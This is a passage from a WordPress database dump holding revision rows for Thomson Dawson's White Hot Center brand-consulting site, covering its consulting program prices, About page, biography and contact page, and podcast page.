current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n\r\n<span style="color: #ff6600;"><strong>Brand Transformation and Creative Consulting</strong></span>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n\r\n</div>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how to help you achieve your desired outcomes.</h2>', 'Strategic Brand Development Consulting', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 12:18:10', '2015-10-13 19:18:10', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3158, 2, '2015-10-13 12:23:51', '2015-10-13 19:23:51', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\n<h2><span style="color: #ff6600;">Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</span></h2>\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\n\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\n\nOur conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\n\n<span style="color: #ff9900;"><em><strong>Leadership</strong></em></span>\n<span style="color: #ff9900;"> <em> Expanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.</em></span>\n\n<span style="color: #ff9900;"><em><strong>Lifestyle Design</strong></em></span>\n<span style="color: #ff9900;"> <em> Developing a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.</em></span>\n\n<span style="color: #ff9900;"><em><strong>Value Creation</strong></em></span>\n<span style="color: #ff9900;"> <em> Innovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.</em></span>\n\n<span style="color: #ff9900;"><em><strong>Demand Generation</strong></em></span>\n<span style="color: #ff9900;"> <em> Expand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.</em></span>\n\nLike you, I’m fully committed to bringing more value to my clients. After nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level.\n\nThe White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\n\nI look forward to you sharing your insights by your comments!\n\nTo your inspired success,\n\nThomson Dawson\nStrategic Brand Development\nBusiness Transformation Consultant\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'About The White Hot Center', 0, '', 'inherit', 'closed', 'closed', '', '2871-autosave-v1', '', '', '2015-10-13 12:23:51', '2015-10-13 19:23:51', '', 2871, 'http://whc.fbdev.org/2015/10/2871-autosave-v1/', 0, 'revision', '', 0),
(3170, 1, '2015-10-14 10:28:33', '2015-10-14 17:28:33', '<h1>Strategic Brand Development Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>For growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>\r\n<div></div>\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n\r\n<span style="color: #ff6600;"><strong>Brand Transformation and Creative Consulting</strong></span>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n\r\n</div>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how my expertise can help you achieve your desired outcomes.</h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Strategic Brand Development Consulting', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-14 10:28:33', '2015-10-14 17:28:33', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3161, 2, '2015-10-13 12:33:00', '2015-10-13 19:33:00', '<h1>Strategic Brand Development Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>For growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>\r\n<div></div>\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n\r\n<span style="color: #ff6600;"><strong>Brand Transformation and Creative Consulting</strong></span>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n\r\n</div>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how my expertise can help you achieve your desired outcomes.</h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Strategic Brand Development Consulting', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 12:33:00', '2015-10-13 19:33:00', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3162, 2, '2015-10-13 12:36:28', '2015-10-13 19:36:28', '', 'Thomson Dawson''s White Hot Center', 0, '', 'inherit', 'closed', 'closed', '', '152-autosave-v1', '', '', '2015-10-13 12:36:28', '2015-10-13 19:36:28', '', 152, 'http://whc.fbdev.org/2015/10/152-autosave-v1/', 0, 'revision', '', 0),
(3163, 2, '2015-10-13 12:35:35', '2015-10-13 19:35:35', '', 'Thomson Dawson''s White Hot Center', 0, '', 'inherit', 'closed', 'closed', '', '152-revision-v1', '', '', '2015-10-13 12:35:35', '2015-10-13 19:35:35', '', 152, 'http://whc.fbdev.org/2015/10/152-revision-v1/', 0, 'revision', '', 0),
(3177, 1, '2015-10-14 10:37:14', '2015-10-14 17:37:14', '<img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" />\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business to new levels of success. Thomson is a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to global companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications  design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\nThomson is an independent brand strategy consultant and the Managing Partner of <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through management consulting and coaching, strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n[embed]https://www.youtube.com/watch?v=ZhBhjF7ocW0[/embed]\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro-bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]\r\n<br />&nbsp;\r\n<br />&nbsp;', 'Connect with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-14 10:37:14', '2015-10-14 17:37:14', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0);
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(3165, 2, '2015-10-13 12:46:26', '2015-10-13 19:46:26', '<img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" />\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business to new levels of success. Thomson is a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to global companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications  design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\nThomson is an independent brand strategy consultant and the Managing Partner of <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through management consulting and coaching, strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n[embed]https://www.youtube.com/watch?v=ZhBhjF7ocW0[/embed]\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro-bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]', 'Connect with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-13 12:46:26', '2015-10-13 19:46:26', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3166, 2, '2015-10-13 12:53:46', '2015-10-13 19:53:46', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Podcasts.jpg"><img class="alignnone size-full wp-image-3019" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Podcasts.jpg" alt="WHC Podcast Episodes" width="480" height="310" /></a>\r\n<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas and insights on personal growth, leadership and business development strategies. Topics focus on your professional development, lifestyle design, value creation and demand generation. Of course your comments are most welcome and much appreciated. Please share your comments with the White Hot Center Community!</span></h2>\r\n&nbsp;\r\n\r\n[ss_podcast title="WHC Podcasts List" content="episodes" series="whc" link_title="true"]', 'White Hot Center Podcasts–Listen & Learn!', 0, '', 'inherit', 'closed', 'closed', '', '133-revision-v1', '', '', '2015-10-13 12:53:46', '2015-10-13 19:53:46', '', 133, 'http://whc.fbdev.org/2015/10/133-revision-v1/', 0, 'revision', '', 0),
(3167, 1, '2015-10-14 10:08:40', '2015-10-14 17:08:40', '', 'Consulting Programs', 0, '', 'publish', 'closed', 'closed', '', 'consulting-programs', '', '', '2015-10-14 10:08:40', '2015-10-14 17:08:40', '', 0, 'http://whc.fbdev.org/?p=3167', 5, 'nav_menu_item', '', 0),
(3168, 1, '2015-10-14 10:13:30', '2015-10-14 17:13:30', '', 'Consulting Programs', 0, '', 'publish', 'closed', 'closed', '', 'consulting-programs-2', '', '', '2015-10-14 10:13:30', '2015-10-14 17:13:30', '', 0, 'http://whc.fbdev.org/?p=3168', 6, 'nav_menu_item', '', 0),
(3171, 1, '2015-10-14 10:29:01', '2015-10-14 17:29:01', '<h1>Strategic Brand Development Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>For growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>All our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n\r\n<span style="color: #ff6600;"><strong>Brand Transformation and Creative Consulting</strong></span>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n\r\n</div>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how my expertise can help you achieve your desired outcomes.</h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Strategic Brand Development Consulting', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-14 10:29:01', '2015-10-14 17:29:01', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3175, 1, '2015-10-14 10:33:26', '2015-10-14 17:33:26', '<h1>Strategic Brand Development Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n\r\n<img class="size-full wp-image-3138 alignnone" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n<h3><span style="color: #ff6600;">Power Session Jams</span></h3>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through 